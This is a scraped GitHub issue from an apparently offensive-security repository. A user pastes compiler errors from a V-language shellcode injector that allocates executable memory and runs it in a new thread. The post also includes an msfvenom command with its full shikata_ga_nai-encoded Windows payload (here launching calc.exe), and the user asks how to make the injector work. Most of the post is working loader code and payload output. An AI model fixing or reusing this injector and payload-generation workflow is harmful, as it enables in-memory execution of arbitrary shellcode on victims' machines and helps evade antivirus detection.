offensive-vlang icon indicating copy to clipboard operation
offensive-vlang copied to clipboard

error: unknown type `size_t`

Open johnjohnsp1 opened this issue 2 years ago • 1 comments

hello alex, i try to compile the code but getting this errors:

./shellcode.v:14:51: error: unknown type size_t 12 | fn inject(shellcode []byte) bool { 13 | println('Creating virtualAlloc') 14 | address_pointer := C.VirtualAlloc(voidptr(0), size_t(sizeof(shellcode)), 0x3000, 0x40) | ~~~~~~~~~~~~~~~~~~~~~~~~~ 15 | println(address_pointer) 16 | ./shellcode.v:18:54: error: cannot use int as size_t in argument 3 to C.RtlMoveMemory 16 | 17 | println('WriteProcessMemory') 18 | C.RtlMoveMemory(address_pointer, shellcode.data, shellcode.len) | ~~~~~~~~~~~~~ 19 | 20 | println('CreateRemoteThread') ./shellcode.v:21:32: error: unknown type size_t 19 | 20 | println('CreateRemoteThread') 21 | C.CreateThread(voidptr(0), size_t(0), voidptr(address_pointer), voidptr(0), 0, &u32(0)) | ~~~~~~~~~ 22 | time.sleep(1000) 23 | return true ./shellcode.v:44:12: error: cannot use []string as []byte in argument 1 to inject 42 | "\x61\x72\x6d\x88\x03\x77\x29\x0e\xff\x05\x22\xfb\xff\xba\x43" 43 | "\x2e\x9c\x5d\xd0\xb2\x4d\xf8\x50\x50\x92"] 44 | inject(shellcode) | ~~~~~~~~~ 45 | }

the shellcode has been generated with the kali command line:

┌──(kauser㉿KALIDEV)-[~] └─$ msfvenom -a x86 -p windows/exec CMD=calc.exe -f c -b '\x00' [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload Found 11 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 220 (iteration=0) x86/shikata_ga_nai chosen with final size 220 Payload size: 220 bytes Final size of c file: 949 bytes unsigned char buf[] = "\xd9\xe5\xba\xf0\xef\x8f\xe3\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1" "\x31\x31\x56\x18\x03\x56\x18\x83\xee\x0c\x0d\x7a\x1f\x04\x50" "\x85\xe0\xd4\x35\x0f\x05\xe5\x75\x6b\x4d\x55\x46\xff\x03\x59" "\x2d\xad\xb7\xea\x43\x7a\xb7\x5b\xe9\x5c\xf6\x5c\x42\x9c\x99" "\xde\x99\xf1\x79\xdf\x51\x04\x7b\x18\x8f\xe5\x29\xf1\xdb\x58" "\xde\x76\x91\x60\x55\xc4\x37\xe1\x8a\x9c\x36\xc0\x1c\x97\x60" "\xc2\x9f\x74\x19\x4b\xb8\x99\x24\x05\x33\x69\xd2\x94\x95\xa0" "\x1b\x3a\xd8\x0d\xee\x42\x1c\xa9\x11\x31\x54\xca\xac\x42\xa3" "\xb1\x6a\xc6\x30\x11\xf8\x70\x9d\xa0\x2d\xe6\x56\xae\x9a\x6c" "\x30\xb2\x1d\xa0\x4a\xce\x96\x47\x9d\x47\xec\x63\x39\x0c\xb6" "\x0a\x18\xe8\x19\x32\x7a\x53\xc5\x96\xf0\x79\x12\xab\x5a\x17" "\xe5\x39\xe1\x55\xe5\x41\xea\xc9\x8e\x70\x61\x86\xc9\x8c\xa0" "\xe3\x26\xc7\xe9\x45\xaf\x8e\x7b\xd4\xb2\x30\x56\x1a\xcb\xb2" "\x53\xe2\x28\xaa\x11\xe7\x75\x6c\xc9\x95\xe6\x19\xed\x0a\x06" "\x08\x8e\xcd\x94\xd0\x7f\x68\x1d\x72\x80"

but seems is not good applied to the code, are you able to give any hint to make it works ? i do something wrong ? thanks for sharing your ideas, pretty nice one !!

johnjohnsp1 avatar Feb 11 '22 15:02 johnjohnsp1